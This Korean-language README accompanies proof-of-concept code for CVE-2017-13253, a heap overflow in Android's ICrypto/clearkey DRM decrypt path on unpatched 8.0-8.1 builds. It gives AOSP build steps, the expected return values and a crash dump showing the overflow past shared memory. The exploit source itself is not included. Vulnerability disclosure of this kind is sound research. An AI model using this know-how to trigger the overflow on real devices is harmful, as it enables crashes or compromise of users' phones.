
CVE-2017-13253용 PoC 코드
CVE-2017-13253에 대한 PoC 코드.
전체 글은 여기에서 확인할 수 있습니다. 참고로 숫자는 블로그 게시물과 약간 다릅니다. 왜냐하면 0x2000 크기의 힙으로 충돌 가능성이 더 높다는 것을 발견했기 때문입니다 (물론 충분히 여러 번 실행하면 결국 충돌할 것입니다).
질문/문제/의견이 있으면 트위터(@tamir_zb)로 연락 주세요.
이를 빌드하려면:
AOSP/external에 넣습니다. cd AOSP
source build/envsetup.sh
make icrypto_overflow
패치되지 않은 Android 버전(2018년 3월 이전의 8.0-8.1)에서 실행하면 오버플로우가 발생합니다. 덮어쓴 데이터가 쓰기 가능한지 여부에 따라 충돌이 발생할 수 있습니다.
코드는 decrypt 메서드의 출력을 출력하며, 이는 다양할 수 있습니다:
decrypt는 BAD_VALUE(-22)를 반환해야 합니다.decrypt는 복사한 데이터의 양을 반환해야 합니다.decrypt는 UNKNOWN_ERROR(-32)를 반환해야 합니다.decrypt는 0을 반환해야 합니다.다음은 이 PoC를 실행한 결과로 발생한 부분적인 충돌 덤프입니다:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
보시다시피, 오류 주소는 공유 메모리 바로 다음의 메모리입니다. 이 메모리는 쓰기 보호되어 있기 때문에 오버플로우로 인해 세그멘테이션 오류가 발생했습니다.